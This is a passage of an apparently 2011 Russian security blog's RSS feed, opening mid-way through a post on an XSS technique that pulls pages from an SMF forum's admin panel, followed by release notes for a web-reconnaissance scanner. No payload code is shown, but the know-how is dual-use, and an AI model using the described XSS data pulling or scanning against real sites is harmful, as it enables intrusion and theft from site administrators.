&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://i078.radikal.ru/1105/58/f82778b80ac7.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;153&quot; src=&quot;http://i078.radikal.ru/1105/58/f82778b80ac7.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
На  скриншоте хорошо видно что JS-код смог пробраться даже в админ-панель и  считать оттуда пару страниц. Обратите внимание - отображение страничек  полностью идентично натуральному. Как будто мы находимся непосредственно  внутри форума. Так получилось потому что внутри параметров href были  найдены ссылки на css-стили, которые, соответственно, были автоматически  нашим кодом подгружены. С victim.xss тут запрашиваются только картинки.  Хотя вы можете модифицировать всё вышеприведённое таким образом, чтоб с  целевого приложения «забирались» ещё и графические элементы.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Напоследок.&lt;/b&gt;&lt;br /&gt;
И  напоследок хотелось бы сказать о нескольких важных моментах. Первый. В  конце страниц SMF находится JS-код, вызывающий сильное торможение при  отображении в просмотрщике. Кончается всё тем, что Firefox предлагает  попросту остановить выполнение сценариев. Он идёт перед самым последним  div`ом, содержащим текст «Loading...». Лучше его автоматически вырезать  при записи в директорию pages.&lt;br /&gt;
Второй. Для быстрого тестирования  результата повышайте лимит адресов до 100 или даже 200. Но при этом не  забывайте отключать FireBug. При таком количестве запросов он будет  страшно тормозить браузер. &lt;br /&gt;
Ну и третий. Не следует использовать  данный материал в целях противоречащих нашим законам. Он опубликован  лишь как небольшое собственное исследование и только для ознакомления.&lt;br /&gt;
&lt;br /&gt;
Файлы к данной статье можно скачать по ссылке &lt;a href=&quot;https://hack4sec.opendrive.com/files/?29121529_Qt7z&quot;&gt;https://hack4sec.opendrive.com/files/?29121529_Qt7z&lt;/a&gt;i &lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/05/xss.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>171</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-2967455660732070467</guid><pubDate>Fri, 20 May 2011 15:41:00 +0000</pubDate><atom:updated>2011-12-08T08:44:46.339-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">веб-разведка</category><category domain="http://www.blogger.com/atom/ns#">разработки</category><title>Веб-разведка - исправление первых ошибок</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. Как и ожидалось, сразу после релиза начали выявляться довольно серьёзные ошибки. Первый патч к альфа-версии закрывает две недоработки:&lt;br /&gt;
1. Файлы, добавляемые через maps.php, всегда добавлялись как директории.&lt;br /&gt;
2. Некоторые файлы с данными о сканировании веб-паук создавал всегда с именем текущего хоста, а не с именем карты.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Кроме того дистрибутивы теперь будут публиковаться на 2 файлообменниках - SendSpace и OpenDrive.&lt;br /&gt;
Две ссылки на исправленный дистрибутив: &lt;br /&gt;
&lt;a href=&quot;http://www.sendspace.com/file/nmtlp6&quot;&gt;hack4sec-wr-1.0.0a-patch1.tar.gz&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.opendrive.com/files?26743299_m6rjd&quot;&gt;hack4sec-wr-1.0.0a-patch1.tar.gz&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Две ссылки на сам патч (только изменённые файлы)&lt;br /&gt;
&lt;a href=&quot;http://www.sendspace.com/file/vlkoh7&quot;&gt;hack4sec-wr-1.0.0a-patch1-files-only.tar.gz&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.opendrive.com/files?26743300_oC3j9&quot;&gt;hack4sec-wr-1.0.0a-patch1-files-only.tar.gz&lt;/a&gt;&amp;nbsp;&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/05/blog-post_12.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-1027478594429396706</guid><pubDate>Tue, 17 May 2011 10:53:00 +0000</pubDate><atom:updated>2011-12-08T08:41:08.785-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">веб-разведка</category><category domain="http://www.blogger.com/atom/ns#">видео</category><title>Веб-Разведка - Ознакомительное видео</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Сделан ознакомительный ролик для ВР. Кому интересно, можете посмотреть его на YouTube. Длится Он 13 минут. Смотреть желательно в HD-качестве т.к. в этом случае хорошо видны надписи в консоли. На самом начальном качестве их вообще тяжело разобрать.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/Enng0KodeqI?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/05/blog-post_17.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-4542533748264017603</guid><pubDate>Tue, 10 May 2011 07:11:00 +0000</pubDate><atom:updated>2011-12-08T08:41:56.058-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">hack4sec</category><category domain="http://www.blogger.com/atom/ns#">веб-разведка</category><category domain="http://www.blogger.com/atom/ns#">разработки</category><title>Первый релиз нашей команды - Веб-Разведка</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Здравствуйте. Рады представить вам наш первый релиз - &quot;Веб разведка&quot;. Программный комплекс «Веб-разведка» предназначен для внешнего исследования сайтов с целью обнаружения аномалий в их работе, различных сбоев, а также потенциально уязвимых мест.&lt;br /&gt;
&lt;br /&gt;
Хотим подчеркнуть что использовать его в нелегальных целях не стоит т. к. работа комплекса не может остаться незамеченной для системных администраторов проверяемого ресурса из-за огромного количества генерируемых запросов. На данный момент «Веб-разведка» умеет:&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp; 1. Осуществлять поиск скрытых файлов и директорий (ссылок на которые на целевом сайте нет) &lt;br /&gt;
&amp;nbsp;&amp;nbsp; 2. Осуществлять сигнатурное опознание установленных на сайте распространяемых компонентов (WYSIWYG-редакторы, CMS, форумы и т. д. ) &lt;br /&gt;
&amp;nbsp;&amp;nbsp; 3. Осуществлять поиск резервных копий файлов сайта &lt;br /&gt;
&amp;nbsp;&amp;nbsp; 4. Строить карту сайта, описывающую его внутреннюю файловую структуру. &lt;br /&gt;
&amp;nbsp;&amp;nbsp; 5. Анализировать контент сайта с целью обнаружения в нём подозрительных данных (например текстов ошибок) &lt;br /&gt;
&amp;nbsp;&amp;nbsp; 6. Проводить фаззинг-тестирование с целью выявления сбоев в работе веб-приложений&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;И многое другое, с чём вы сможете ознакомиться в процессе чтения документации. Так же советуем посмотреть ознакомительный ролик на YouTube. Он не большой - всего 13 минут. Смотреть желательно в HD-качестве т.к. в этом случае хорошо видны надписи в консоли.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/Enng0KodeqI?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Мы будем рады ответить на любые ваши вопросы, а также получить от вас конструктивную критику, советы и пожелания по поводу дальнейшего развития ВР. Всё это вы можете оставлять в комментариях к данному посту. &lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;https://docs.google.com/leaf?id=0BxsiijSfg-o4YjQ5MzU3NzAtODcxYi00ZTNmLWE4YjEtZWRkYjBiM2YwNTI4&amp;amp;hl=en&quot;&gt;hack4sec-wr-1.0.0a.tar.gz&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://hack4sec.blogspot.com/2011/05/blog-post.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>1</thr:total></item></channel></rss>